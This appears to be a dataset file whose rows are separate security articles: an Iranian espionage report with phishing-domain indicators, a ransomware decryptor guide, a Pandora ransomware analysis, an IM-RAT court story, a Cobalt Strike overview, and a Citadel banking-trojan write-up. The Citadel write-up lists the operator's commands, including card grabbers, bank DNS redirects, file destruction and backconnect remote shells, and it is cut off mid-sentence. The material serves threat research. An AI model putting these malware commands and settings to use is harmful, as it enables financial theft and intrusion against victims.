text
stringlengths
8
115k
# Charming Kitten ## Iranian Cyber Espionage Against Human Rights Activists, Academic Researchers, and Media Outlets - and the HBO Hacker Connection ### Introduction Charming Kitten is an Iranian cyberespionage group operating since approximately 2014. This report exposes their vast espionage apparatus, active during 2016-2017. We present incidents of company impersonation, made-up organizations and individuals, spear phishing, and watering hole attacks. We analyze their exploitation, delivery, and command-and-control infrastructure, and expose DownPaper, a malware developed by the attackers, which has not been publicly documented to date. Incidents documented in this report are likely a small fraction of the actual amount of targeted attacks, which may reach thousands of individuals. We expose more than 85 IP addresses, 240 malicious domains, hundreds of hosts, and multiple fake entities – most of which were created in 2016-2017. The most recent domains (com-archivecenter[.]work, com-messengerservice[.]work, and com-videoservice[.]work) were registered on December 2nd, 2017, and have probably not been used in attacks yet. We present the connection between Behzad Mesri, an Iranian national recently indicted for his involvement in hacking HBO, and Charming Kitten. We also identify other members of the group. This report refers to two likely distinct groups, Charming Kitten and Rocket Kitten, together. This is not to say that the two groups are one, but that due to overlap in infrastructure, tools, targets, and modus operandi we are unable to precisely attribute each incident to one or the other. Further discussion appears in the section "Charming Kitten or Rocket Kitten?" ### Targets The attackers' focus appears to be individuals of interest to Iran in the fields of academic research (i.e., Iranists - scholars who study Iran), human rights, and media. Emphasis is given to Iranian dissidents living in Iran or abroad, and people who come in touch with Iranians or report on Iranian affairs such as journalists and reporters, media outlets covering Iran, and political advisors. Most targets known to us are individuals living in Iran, the United States, Israel, and the UK. Others live in Turkey, France, Germany, Switzerland, United Arab Emirates, India, Denmark, and other countries. Notably, the attackers usually try to gain access to private email and Facebook accounts. They seek to infiltrate the targets’ social network as a hop point to breach other accounts in their social network or to collect information about their targets. Sometimes, they aim at establishing a foothold on the target’s computer to gain access into their organization, but, based on our data, this is usually not their main objective, as opposed to other Iranian threat groups, such as Oilrig and CopyKittens. ### Charming Kitten or Rocket Kitten? While Iranian threat actors have been well documented by security researchers, the inner workings of the ecosystem of Iran's hackers is not entirely clear. Groups can be vigorously active for years and then disappear abruptly, sometimes due to being publicly outed. Researchers make a best-faith effort to assign operations to certain groups, but the instability in the field makes the process challenging. A case of these obscure lines can be found in a blog post published in coordination and parallel to this report - “Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code” by Collin Anderson and Claudio Guarnieri. Flying Kitten (which is another name given by the security industry to Charming Kitten) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI (Islamic Republic of Iran) government and foreign espionage targets. FireEye’s publication of “Operation Saffron Rose” report, which described Flying Kitten’s operations against aviation firms, led to the dismantling of Flying Kitten's infrastructure and the apparent end of its activities. Months later, another, seemingly distinct group, “Rocket Kitten,” would be described by a series of reports. While the two groups exhibited different behaviors that lend credence to the assumption they were distinct, disclosures of private toolkits strongly suggest that Rocket Kitten had used Flying Kitten resources throughout its credential-theft operations. Moreover, Rocket Kitten had experimented with reusing malware that appeared to be an undisclosed precursor to Flying Kitten's “Stealer” agent documented by FireEye. These overlaps provide some indication that Rocket Kitten had some relationship to Flying Kitten – perhaps members of the latter joining the new team. Rocket Kitten has since largely subsided as a formidable actor, and repeating the theme of its predecessor now only appears in echoes of other campaigns. ### The HBO Hacker and Charming Kitten #### HBO Hacking Indictment On November 21, 2017, the United States Department of Justice unsealed an indictment against Behzad Mesri (A.K.A “Skote Vahshat”) for his involvement in hacking and extorting HBO, and for subsequently leaking the stolen content on the Internet. Leaked content included confidential information about upcoming episodes of the popular television series, “Game of Thrones,” and video files containing unreleased episodes of other television series created by HBO. According to the indictment, "Mesri is an Iran-based computer hacker who had previously worked on behalf of the Iranian military to conduct computer network attacks that targeted military systems, nuclear software systems, and Israeli infrastructure. At certain times, Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team." #### Connection to Iranian Government Backed Threat Agent Security researcher Collin Anderson of Iran Threats tagged Mesri's Twitter account in a tweet suggesting that Mesri might be related to Charming Kitten. Subsequently, we tried to find connections of Mesri to other activities and people mentioned in this report. Thanks to the public nature of how Mesri and other members of Turk Black Hat conducted their hacking activities and private online life, we could find several connections. This is not to say that the HBO hack was ordered by the Iranian government. Rather, we try to strengthen the assumption that Mesri was, at a certain time, part of, or related to Charming Kitten. In addition, we unmask other members of the group based on their connection to Mesri and to Charming Kitten infrastructure. #### From Mesri to Charming Kitten ArYaIeIrAN (AKA [email protected], [email protected], [email protected]) is a 29-year-old Iranian hacker and member of Turk Black Hat. Below is his profile page in "Iranian engineers club": A list of websites he defaced, listed on Zone-H: The same email address, [email protected], shows up in the SOA (Start of Authority) record of multiple domains registered and used by Charming Kittens that are presented in this report. These include britishnews.com[.]co, britishnews[.]org, broadcastbritishnews[.]com, and mehrnews[.]info. All these websites used persiandns[.]net as their NS (name server). [email protected] also registered persiandns[.]net, potentially indicating that he is the administrator of the services and an employee in the company. In a defacement, still online at the time of writing, both ArYaIeIrAn and Skote_Vahshat, the HBO hacker, take credit as members of Turk Black Hat. This indicates that both were members of Turk Black Hat at the same time and likely knew each other. persiandns[.]net hosting services, which hosted malicious domains used by Charming Kitten, redirects to mahanserver[.]ir, indicating it is the same company. The CEO of mahanserver[.]ir is Mohammad Rasoul Akbari (A.K.A ra3ou1), likely the boss or partner of ArYaIeIrAn. The two follow each other on Twitter. Akbari is a Facebook friend of the HBO hacker, Behzad Mesri. On LinkedIn, MahanServer only has two employees: CEO Mohammad Rasoul Akbari and Mohammadamin Keshvari. Interestingly, Mohammadamin Keshvari's profile picture is a pomegranate, like that of ArYaIeIrAN’s Twitter account. Moreover, Mohammadamin Keshvari mentions in his LinkedIn profile that he works at ARia Dc (ariadc[.]com, ariadc[.]net) which was registered by [email protected] for three days in 2013 before changing to a generic email. ARia Dc later turned into MahanServer, as can be seen in Wayback Machine. To sum up, the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn, who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari, who is a Facebook friend of Behzad Mesri's. We tend to identify ArYaIeIrAn with Mohammadamin Keshvari, because the latter is the only other employee of Mahanserver and works in a company whose domain was registered by the former (and both have a similar and unique profile picture). We estimate with medium certainty that the three are directly connected to Charming Kitten, and potentially, along with others – are Charming Kitten. ### Delivery and Infection Charming Kitten attacks their targets using the following methods: - Made up organizations and people – entities are made up to lure people into malicious websites or to receive malicious messages. - Impersonating real companies – real companies are impersonated, making victims believe they are communicating or visiting the website of the real companies. - Watering hole attacks – inserting malicious JavaScript code into breached strategic websites. - Spear phishing – pretending to be Gmail, Facebook, and other service providers, or pretending to be a friend of the target sharing a file or a link. #### Made Up Organizations and People Charming Kitten regularly targets international media outlets with Persian-language services. Two recent reports – "How Iran tries to control news coverage by foreign-based journalists" and "Iranian agents blackmailed BBC reporter with ‘naked photo’ threats" describe harassment and intimidation methods applied by Iranian intelligence agencies. These campaigns often target reporters and journalists in phishing attempts. On the same note, we identified a fake news agency "established" by the attackers, called “The British news agency” or “Britishnews” (inspired by BBC). Its website domain is britishnews.com[.]co and two other domains, broadcastbritishnews[.]com and britishnews[.]org, redirected to it. This fake news agency and accompanying social media accounts are not used to disseminate propaganda or false information. Their content was automatically copied from legitimate sources. The purpose of this news agency is to create legitimacy, with the end goal of reaching out to their targets and infecting them while visiting the infected website. The website contains BeEF (Browser Exploitation Framework – a penetration testing tool that focuses on web browsers), however, it seems that the payload is sent only when the victim visits the site from IPs in a whitelist managed by the attackers. This might indicate they are after specific targets or organizations rather than widespread infection. At the bottom of the site are links to social media accounts created by the attackers. #### Made Up Students and Journalists Multiple Israeli Iranist and Middle East researchers were sent emails and Twitter direct messages by made-up entities. These entities are reviewed below. **Zehavit Yehuda** One of the fake entities is “KNBC News journalist Zehavit Yehuda”, who sent a phishing email. The email links to a website built with Google Sites. **Yafa Hyat** Fake entity "Yafa Hyat" (@yafa1985hyat) has contacted an Israeli Iranist via a direct message on Twitter, pretending to be a political researcher who needs help with an article. The researcher was asked to read the article in her "Google account", which was also a phishing page in Google sites. **Bahar Azadeh** Fake entity "Bahar Azadeh" ([email protected] and @baharazadeh122) sent emails with different background stories to multiple researchers. In two cases, she was a "Jewish girl who has Iranian origin and who has studied in the field of political science". Yet in a third case, she claimed to be Baha'i living in Tehran. ### Impersonating Real Companies The attackers created a website impersonating UTC (United Technologies), “an American multinational conglomerate which researches, develops, and manufactures products in numerous areas, including aircraft engines, and aerospace systems.” The fake website claimed to offer “Free Special Programs And Courses For Employees Of Aerospace Companies like Lockheed Martin, SNCORP, ….” It was a decoy to make visitors download a “Flash Player”, which was in fact DownPaper malware. ### Watering Holes The attackers breached the following websites pertaining to Iranian and Jewish cultural affairs: - hamijoo[.]com: An Iranian crowdfunding platform - www.jewishjournal[.]com: A Jewish news site - www.estherk[.]com: A personal blog of one of JewishJournal's writers - www.boloogh[.]com: A sex education website for Iranian youth - levazand[.]com: A personal blog of an Iranian living in the United States ### Spear Phishing for Credential Stealing The attackers sent hundreds, maybe thousands, of spear phishing emails to hundreds of targets. **Wave 1** The attackers breached the Gmail account of Alon Gur Arye, an Israeli film producer. The breached account was used to send a phishing email to Thamar Eilam Gindin. **Wave 2** Sometimes the phishing email does not contain live text, but only an image of text linked to a phishing page. The attackers used WebRTC to detect the real IP address of targets who use proxies. **Wave 3** The attackers often open a new Gmail account and send phishing emails from it. For example, [email protected] was used to send phishing emails to targets. ### Email Tracking Services The attackers often use mailtrack.io to track when phishing emails are opened. These services are often used by marketing people to monitor their campaign effectiveness. ### Targeted Emails with Malware Email address [email protected] was mostly used for spear phishing. Occasionally, it was used to deliver links to malware. ### DownPaper Malware DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download and run a second stage. ### Additional Samples - **wuauclt.exe**: A backdoor trojan with various functionalities. - **flashplayer.exe**: A .NET downloader that retrieves secondary payloads. ### Appendix A - Indicators of Compromise - 012mail-net-uwclogin[.]ml - aiqac[.]org - 443[.]tcp[.]shorturlbot[.]club - aol-mail-account[.]com - 874511478[.]account-login[.]net - apache-utility[.]com - account-customerservice[.]com - app-documents[.]com - account-dropbox[.]net - app-facebook[.]co - account-google[.]co - appleid[.]apple[.]com[.]account-logins[.]com - account-login[.]net - araamco[.]com - account-logins[.]com - account-log-user-verify-mail[.]com - account-permission-mail-user[.]com - accounts[.]account-google[.]co - asus-support[.]net - accounts[.]activities[.]devices[.]com[.]accounts[.]a - activities[.]devices[.]com[.]usersettings[.]cf - accounts[.]activities[.]devices[.]com[.]usersettings[.]cf - accountservice[.]support - account-servicerecovery[.]com - accounts-googelmail[.]com - accounts-googelmails[.]com - account-signin-myaccount-users[.]ga - accounts-logins[.]net - accountsrecovery[.]ddns[.]net - accounts-service[.]support - accountsservice-support[.]com - account-support-user[.]com - accounts-yahoo[.]us - accountts-google[.]com - account-user[.]com - account-users-mail[.]com - account-user-verify-mail[.]com - acounts-qooqie-con[.]ml - addons-mozilla[.]download - ae[.]ae[.]asus-support[.]net - ae[.]asus-support[.]net - ae[.]bocaiwang[.]asus-support[.]net - ae[.]client[.]asus-support[.]net - aipak[.]org - com-download[.]ml - document-supportsharing[.]bid - com-manage-accountuser[.]club - doc-viewer[.]com - com-messagecenter[.]bid - download[.]account-login[.]net - download-google[.]com-orginal-links[.]ga - com-messengerservice[.]bid - com-microsoftonline[.]club - com-recovery[.]com - com-recoveryadduser[.]bid - com-recoverysessions[.]bid - com-recoverysupport[.]bid - com-service[.]net - com-servicemail[.]bid - com-servicerecovery[.]bid - com-servicescustomer[.]name - com-stats[.]com - com-videoservice[.]work - com-viewchannel[.]club - confirm-code[.]account-support-user[.]com - shared-access[.]com - shared-login[.]com - shared-permission[.]com - service-accountrecovery[.]com - servicecustomer[.]bid - servicelogin-mail[.]account-servicerecovery[.]com - support[.]account-google[.]co - support-aasaam[.]bid - support-aasaam[.]com - support-accountsrecovery[.]com - support-verify-account-user[.]com - verify-account[.]services - verify-accounts[.]info - verify-facebook[.]com - verify-gmail[.]tk - verify-your-account-information[.]users-login[.]com - video[.]youtube[.]com-showvideo[.]ga - video-mail[.]account-support-user[.]com - video-yahoo[.]accountservice[.]support - video-yahoo[.]com[.]accountservice[.]support - w3school[.]hopto[.]org - w3schools[.]hopto[.]org - w3schools-html[.]com - watch-youtube[.]org[.]uk - webmail-login[.]accountservice[.]support - windows-update[.]systems - youttube[.]ga - youttube[.]gq - youtubbe[.]cf - youtubbe[.]ml - youtube[.]com[.]login-account[.]net - youtube-com[.]watch - youtubes[.]accounts[.]com-serviceslogin[.]com This concludes the report on Charming Kitten and their cyber espionage activities.
# Avast Ransomware Decryption Tools: How to Guide 1. Download the `avast_decryptor_RANSOMWARE_NAME.exe` file (e.g., `avast_decryptor_globe.exe`), then: - Click Run to launch the application immediately. - Save it to your desktop and run it later by double-clicking the `avast_decryptor_globe.exe` icon on your desktop. 2. If the Windows protected your PC dialog appears, click More info, then click Run anyway. 3. On the Welcome screen, click Next. 4. Locate the files you want to decrypt using the available buttons, then click Next: **Important:** The next three steps (steps 5 to 7) apply only if a password needs to be cracked. Otherwise, the wizard progresses directly to the screen described in step 8. 5. Provide the location of the encrypted file and the original file, then click Next. **Note:** Both the original file and the encrypted file are required for password cracking. You can often find an original in one of these places: - A backup from the cloud or on a flash drive or other external drive. - A standard Windows sound or picture (e.g., wallpaper), which you can download from the web or other PCs. - A document, picture, or video you received or sent in an email. 6. Click Start to initiate the process of password cracking. **Note:** This process consumes excessive resources on your PC. Click Pause to suspend the process if necessary. 7. Click Next when the cracked password appears in the Password box. 8. Tick the following options as preferred, then click Decrypt: - Backup encrypted files: creates a backup of the encrypted files. - Run the decryption process as an administrator: enables the decryption process to access all files including those that are only accessible with administrator privileges. 9. When the decryption is complete, click Show Log to see an overview of the completed decryption or click Close to exit the wizard.
# Deep Dive Analysis – Pandora Ransomware ## A Possible Re-brand of Rook Ransomware Pandora ransomware came into the spotlight in March 2022 after targeting some high-profile victims on its leak site. The ransomware group announced its first victim on 21 Feb 2022 and has posted around five victims to date. During a routine threat hunting exercise, Cyble Research Labs came across the sample for this ransomware. Upon execution, the file encrypts the victim’s system and drops the ransom note in each folder named “Restore_My_Files.txt.” After encryption, the file is renamed with the extension “.Pandora.” ## Technical Analysis The malware (SHA 256: 5b56c5d86347e164c6e571c86dbf5b1535eae6b979fede6ed66b01e79ea33b7b) is packed using the UPX packer. After unpacking, the payload is compiled using Visual C++. The file has encrypted strings and several jumps and calls that can make debugging difficult. The malware runs a decryption loop that decrypts the strings present in the file. Initially, the malware creates a mutex named “ThisIsMutexa” using CreateMutexA() API to ensure that only one instance of the malware is running in the system. The malware then loads ntdll.dll and calls the NtSetInformationProcess() API, which changes the privilege level and sets the malware file as a critical process. The malware then disables the Event Tracing for Windows (ETW) by patching the EtwEventWrite() function and further bypasses Antimalware Scan Interface (AMSI) to evade detection by Anti-Virus products. The AMSI allows the integration of applications and processes with the anti-malware solution present on a system. AMSI scans files that are executed through PowerShell, Jscript, VBA, VBScript, etc. The malware also calls SetProcessShutdownParameters() to reduce the process’s priority, i.e., set it to zero. This means that malware will be terminated last before the system shutdown so that the malware gets the maximum amount of time possible to execute in the compromised machine. After altering the priority, the malware calls SHEmptyRecycleBinA() API to empty the recycle bin to ensure no deleted files are restored after encryption. Like other ransomware, the malware deletes shadow copies using vssadmin using ShellExecuteW() API. Before encrypting the machine, the malware gets the Volume details by calling the APIs such as: - GetDriveTypeW() - FindFirstVolumeW() - FindNextVolumeW() - GetVolumePathNamesForVolumeNameW() - GetLogicalDrives() Before initiating encryption, the ransomware checks and excludes specific folders from encryption – such as AppData, Boot, Windows, Windows.old, Tor Browser, Internet Explorer, Google, Opera, Opera Software, Mozilla, Mozilla Firefox, ProgramData, Program Files, Program Files (x86). The Ransomware also excludes certain files from encryption such as autorun.inf, boot.ini, bootfont.bin, bootsect.bak, bootmgr, bootmgr.efi, bootmgfw.efi, desktop.ini, iconcache.db, ntldr, ntuser.dat. Additionally, specific extensions are also exempted from encryption – such as .pandora, .hta, .exe, .dll, .cpl, .ini, .cab, .cur, .drv, .hlp, .icl, .icns, .ico, .idx, .sys, .spl, .ocx. Finally, the ransomware searches for files using FindFirstFileW() and FindNextFileW() APIs and then proceeds to encrypt them. The malware uses a multithreading approach for faster encryption. It calls CreateThread(), SetThreadAffinityMask(), ResumeThread(), CreateIOCompletionPort() and GetQueuedCompletionStatus() APIs for multithreading. Finally, the ransom note is displayed. ## Possible ROOK Ransomware Re-brand During our analysis, we found that the Tactic Technique and Procedures (TTPs) of the Pandora and ROOK ransomware shared a lot of similarities. In Dec 2021, ROOK ransomware posted on their leak site claiming to have attacked one of the world’s largest automotive suppliers of technology and components. Following this, their leak site went down around the end of Jan 2022. Pandora ransomware in March 2022 posted the same victim on their leak site. Due to this incident and the similarities in how they operate, it is suspected that Pandora might be a re-brand of ROOK ransomware. ## Conclusion There’s a good chance that Pandora ransomware is a re-brand of ROOK ransomware. We had observed similar behavior in the past when ransomware groups were coming up with new aliases when they were under scrutiny. Pandora ransomware gang is suspected of leveraging the double extortion method where the TAs exfiltrate the victim’s data followed by data encryption. Then, they threaten to leak the exfiltrated data on their leak site or on cybercrime forums. Organizations can mitigate such attacks by monitoring the dark web and acting upon early warning indicators such as compromised credentials, data breaches, and identifying vulnerabilities traded on cybercrime forums. ## Our Recommendations - Enforce password change policies for the network and critical business applications or consider implementing multi-factor authentication for all remote network access points. - Reduce the attack surface by ensuring that sensitive ports are not exposed on the Internet. - Conduct cybersecurity awareness programs for employees and contractors. - Implement a risk-based vulnerability management process for IT infrastructure to ensure that critical vulnerabilities and security misconfigurations are identified and prioritized for remediation. - Instruct users to refrain from opening untrusted links and email attachments without verifying their authenticity. - Deploy reputed anti-virus and internet security software package on your company-managed devices, including PCs, laptops, and mobile devices. - Turn on the automatic software update features on computers, mobiles, and other connected devices wherever possible and pragmatic. - Define and implement a backup process and secure those backup copies by keeping them offline or on a separate network. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |-------------------------------|--------------|-----------------------------------------| | Execution | T1059 | Command and Scripting Interpreter | | Privilege Escalation | T1548 | Abuse Elevation Control Mechanism | | | T1134 | Access Token Manipulation | | Defense Evasion | T1112 | Modify Registry | | | T1027 | Obfuscated Files or Information | | | T1562.001 | Impair Defenses: Disable or Modify Tools| | Discovery | T1082 | System Information Discovery | | | T1083 | File and Directory Discovery | | Impact | T1490 | Inhibit System Recovery | | | T1489 | Service Stop | | | T1486 | Data Encrypted for Impact | ## Indicators of Compromise (IoCs) | Indicator | Description | Type | |---------------------------------------------|-------------|-----------| | 0c4a84b66832a08dccc42b478d9d5e1b | | Md5 | | 160320b920a5ef22ac17b48146152ffbef60461f | | SHA-1 | | 5b56c5d86347e164c6e571c86dbf5b1535eae6b979fede6ed66b01e79ea33b7b | | SHA-256 | ## About Us Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Start-ups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence.
# Man jailed for using webcam RAT to spy on women in their bedrooms A British man has been jailed for two years after police caught him using a notorious Remote Access Trojan (RAT) to hijack the webcams of young women and spy upon them. 27-year-old Scott Cowley, of St Helens, Merseyside, was arrested last November as part of an international investigation into purchasers of the Imminent Monitor RAT. Imminent Monitor (also known as IM-RAT) had been sold online since 2012, purporting to be a legitimate remote access tool. Imminent Monitor’s claims of legitimacy, however, are somewhat undermined by some of its abilities – such as the ability to allow remote users to disable a subject’s webcam light while they are being monitored. One version of the software even introduced the ability to mine for cryptocurrency on victims' PCs. Security researchers at Palo Alto Networks claim that they have observed Imminent Monitor being used in attacks against its customers on over 115,000 unique occasions. International law enforcement agencies were finally able to dismantle the infrastructure behind Imminent Monitor last November, in an operation that executed 85 warrants, seized 434 devices, and arrested 13 people. When police cracked the IM-RAT’s distribution network, they were also able to seize records detailing thousands of purchasers, which resulted in the arrest in Merseyside of Scott Cowley. At Liverpool Crown Court, prosecutors described how Cowley had used a PayPal account connected to his own name and personal email address to buy the IM-RAT software. Cowley successfully managed to have the software installed on the computers of three women and seized remote control of their webcams in order to allow him to secretly film them as they undressed and had sex. Specialist police officers from the North West Regional Organised Crime Unit (NWROCU) were able to forensically examine Cowley’s own laptop computer, finding the software as well as furtive video recordings of his victims. The court found Cowley guilty and sentenced him to two years imprisonment for computer misuse and sexual offences. “Today we welcome the sentencing of Scott Cowley who used highly technological methods to obtain private videos and images of innocent victims for his own sexual gratification. This conviction demonstrates that despite the high-tech nature of Cyber Crime, offenders have no place to hide,” said Detective Sergeant Steve Frame from the NWROCU. “We take all reports of cybercrime seriously and are absolutely committed to tackling and undermining this evolving threat. If you have been the victim of a similar crime, or suspect somebody is involved in committing this type of crime please call 101 and report it to your local police force.” No doubt police investigations into the users of IM-RAT will continue, and we can hope for more successful prosecutions for those who preyed on innocent computer users.
# Cobalt Strike: Overview – Part 7 This is an overview of a series of 6 blog posts we dedicated to the analysis and decryption of Cobalt Strike traffic. We include videos for different analysis methods. In part 1, we explain that Cobalt Strike traffic is encrypted using RSA and AES cryptography, and that we found private RSA keys that can help with decryption of Cobalt Strike traffic. In part 2, we actually decrypt traffic using private keys. Notice that one of the free, open source tools that we created to decrypt Cobalt Strike traffic, `cs-parse-http-traffic.py`, was a beta release. It has now been replaced by tool `cs-parse-traffic.py`. This tool is capable to decrypt HTTP(S) and DNS traffic. For HTTP(S), it’s a drop-in replacement for `cs-parse-http-traffic.py`. In part 3, we use process memory dumps to extract the decryption keys. This is for use cases where we don’t have the private keys. In part 4, we deal with some specific obfuscation: data transforms of encrypted traffic, and sleep mode in beacons’ process memory. In part 5, we handle Cobalt Strike DNS traffic. And finally, in part 6, we provide some tips to make memory dumps of Cobalt Strike beacons. The tools used in these blog posts are free and open source. Here are a couple of videos that illustrate the methods discussed in this series: - Using Known Private Keys To Decrypt Traffic - Using Process Memory To Decrypt Traffic ## Blog posts in this series: - Cobalt Strike: Using Known Private Keys To Decrypt Traffic – Part 1 - Cobalt Strike: Using Known Private Keys To Decrypt Traffic – Part 2 - Cobalt Strike: Using Process Memory To Decrypt Traffic – Part 3 - Cobalt Strike: Decrypting Obfuscated Traffic – Part 4 - Cobalt Strike: Decrypting DNS Traffic – Part 5 - Cobalt Strike: Memory Dumps – Part 6 ## About the authors Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center senior handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn. You can follow NVISO Labs on Twitter to stay up to date on all our future research and publications.
# Citadel 0.0.1.1 (Atmos) Guys of JPCERT, 有難う御座います! Released an update to their Citadel decrypter to make it compatible with 0.0.1.1 sample. Citadel 0.0.1.1 doesn't have a lot of documentation, so time has come to talk about it. Personally, I know this malware under the name 'Atmos' (be ready for name war in 3, 2, 1...). The first sample I was aware of is the one spotted by tilldenis here in July 2015. I re-observed this campaign in November 2015 with the same 'usca'. ## Configuration - `url_config1-10` [up to 10 links to configuration files; 1 main for your web admin panel and 9 spare ones. To save resources, use InterGate button in the builder to place config files on different links without setting up admin panel. Spare configs will be requested if the main one is not available during first EXE launch. Don't forget to put EXE and config files in 'files/' folder] - `timer_config 4 9` [Config file refresh timer in minutes | Retry interval] - `timer_logs 3 6` [Logs upload timer in minutes | Retry in _ minutes] - `timer_stats 4 8` [New command receiving and statistics upload timer in minutes | Retry in _ minutes] - `timer_modules 4 9` [Additional configuration files receiving timer | Retry in _ minutes. Recommended to use the same setting as in timer_config] - `timer_autoupdate 8` [EXE file renewal timer in hours] - `insidevm_enable 0/1` [Enable execution in virtual machine: 1 - yes | 0 - no] - `disable_antivirus 0/1` [1 - Disable built-in 'AntiVirus' that allows to delete previous version of Zeus/Citadel/Citra after EXE launch | 0 - leave enabled (recommended)] - `disable_httpgrabber 0/1` [1 - Disable http:// mask grabber in IE | 0 - Enable http:// mask grabber in IE] - `enable_luhn10_get 0/1` [Enable CC grabber in GET-requests http/https] - `remove_certs 0/1` [Enable certificate deletion in IE storage] - `report_software 0/1` [1 - Enable stats collection for Installed Software, Firewall version, Antivirus version | 0 - Disable] - `disable_tcpserver 0/1` [1 - Enable opening SOCKS5 port (not Backconnect!) | 0 - Disable] - `enable_luhn10_post 0/1` [Enable CC grabber in POST-requests http/https] - `disable_cookies 0/1` [1 - Disable IE/FF cookies-storage upload | 0 - Enable | use_module_ffcookie - duplicates the same] - `file_webinjects "injects.txt"` [File containing injects. Installed right after successful config files installation. Renewal timer is set in timer_config] - `url_webinjects "localhost/file.php"` [Path to 'file.php' file. Feature of 'Web-Injects' section for remote instant inject loading] - `AdvancedConfigs` [Links to backup configuration files. Works if !bot is already installed on the system! and first url_config is no longer accessible] - `entry "WebFilters"` [Set of different filters for URLs: video (# character), screenshot (single @ character - screenshot sequence after a click in the active zone. double @ character '@@' - Full size screenshot), ignore (! character), POST requests logging (P character), GET request logging (G character)] - `entry HttpVipUrls` [URL blacklist. By default the following masks are NOT written to the logs "facebook*" "*twitter*", "*google*". Adding individual lines with these masks will enable logging for them again] - `entry "DnsFilters"` [System level DNS redirect, mask example - *bankofamerica.com*=159.45.66.100. Now when going to bankofamerica.com - wells fargo.com will be displayed. Not recommending blocking AV sites to avoid triggering pro-active defenses] - `entry "CmdList"` [List of system commands after launch and uploading them to the server] - `entry "Keylogger"` [List of process names for KeyLogger. Time parameter defines the time to work in hours after the process initialization] - `entry "Video"` [Video recording settings | x_scale/y_scale - video resolution | fps - frame per second, 1 to 5 | kbs - frame refresh rate, 5 to 60 | cpu 0-16 CPU loading | time - time to record in seconds | quality 0-100 - picture quality] - `entry "Videologger"` [processes "" - list of processes to trigger video recording. Possible to use masks, for example calc.exe or *calc*] - `entry "MoneyParser"` [Balance grabber settings | include "account,bank,balance" - enable balance parsing if https:// page contains one of the following key words. | exclude "casino,poker,game" - do NOT perform parsing if one of the following words is found] - `entry "FileSearch"` [File search by given mask. The report will be stored in 'File Hunter' folder. Keywords can be a list of files or patterns ** to for on the disk. For example, multibit.exe will search for exact match on filename.fileextension, *multibit* will report on anything found matching this pattern. | excludes_name - exclude filenames/file extensions from search. excludes_path - exclude system directories macros, like, Windows/Program Files, etc | minimum_year - file creation/change date offset. The search task is always on. Remove all the parameters from this section to disable it.] - `entry "NetScan"` [hostname "host-to-scan.com" - list of local/remote IP addresses to scan. scantype "0" - sets the IP address range, for example, scantype "0" scans a single IP in the 'hostname', scantype "1" creates a full scan of class C network 10.10.10.0-255, scantype "2" creates a full scan of class B network 10.10.0-255.0-255] Example 1: `{hostname "10.10.0-255.0-255" addrtype "ipv4" porttype "tcp" ports "1-5000" scantype "2"}` Example 2: `{hostname "10.10.1.0-255" addrtype "ipv4" porttype "tcp" ports "1-5000" scantype "1"}` - `entry "WebMagic"` [Local WebProxySrv, web server with its own storage. Allows to read and write bot parameters directly, for example, when using injects. This saves time and resources since it doesn't generate additional remote requests for different scripts that are generally detected by banks anti-tampering controls. It also allows to bypass browser checking when requesting https:// resource hosted remotely and to create backconnect connection. Full settings description is located in F.A.Q section] ## Commands - `user_execute <url>` [execute given file] - `user_execute <url> -f` [execute given file, manual bot update that overwrites the current version] - `user_cookies_get` [Get IE cookies] - `user_cookies_remove` [Remove IE cookies] - `user_certs_get` [Get .p12 certificates. Password: pass] - `user_certs_remove` [Remove certificates] - `user_homepage_set <url>` [Set browser home page] - `user_flashplayer_get` [Get user's .sol files] - `user_flashplayer_remove` [Remove user's .sol files] - `url_open <url>` [open given URL in a browser] - `dns_filter_add <hostname> <ip>` [Add domain name for redirect (blocking) *bankofamerica.com* 127.0.0.1] - `dns_filter_remove <url>` [Remove domain name from redirect (blocking)] - `user_destroy` [Corrupt system vital files and reboot the system. Requires elevated privileges] - `user_logoff` [Logoff currently logged in user] - `os_reboot` [Reboot the host] - `os_shutdown` [Shutdown the host] - `bot_uninstall` [Remove bot file and uninstall it] - `bot_update <url>` [Update bot configuration file. Requires to use the same the crypt. The path is set in url_config] - `bot_bc_add socks <ip> <port>` [Connect Bot > Backconnect Server > Socks5 | Run backconnect.exe listen -cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for Proxifier/Browser...] - `bot_bc_add vnc <ip> <port>` [Connect Bot > Backconnect Server > VNC Remote Display | Run backconnect.exe listen -cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for UltraVNC client] - `bot_bc_add cmd <ip> <port>` [Connect Bot > Backconnect Server > Remote Shell | Run backconnect.exe listen -cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for telnet/putty client] - `bot_bc_remove <service> <ip> <port>` [Disconnect from the bot and hide connections from 'netstat' output] - `close_browsers` [close all browser processes] ## New Features **Mailer**: This feature allows you to create mass-email campaigns using standard PHP tools. For this feature to work correctly, you need to download the script and put it in the www-root directory on one of the hosts that will be used to perform the mass-email campaign - make sure you turn off the following in php.ini; `magic_quotes_gpc = Off` and `safe_mode = Off`. After that, press [Config] and fill in [Master E-Mail (for checkup) parameters: "name ; email" Your email for checking] and Mailer-script URL: `http://www.host.com/mailer.php`. It's possible to create a campaign using an email address list collected by a Bot using "For BotID" button or a new list name; email. Macros are supported in Subject/Body/Attach. **File Hunter**: This feature allows you to work with files on the bot: get a list of files matching the parameters specified under config entry "FileSearch", track files updates, auto-upload files, and replace files on the bot. Custom Download - allows you to download any file from a bot by BotID, taken that a full path to the file is known. This will work even if the file is not specified under "FileSearch" config entry. Auto download - uploads files with a given mask without a need to specify BotID. Bot will execute the upload as soon as search conditions are given and the file is found. This will work even if the file is not specified under "FileSearch" config entry. Be careful using File Hunter 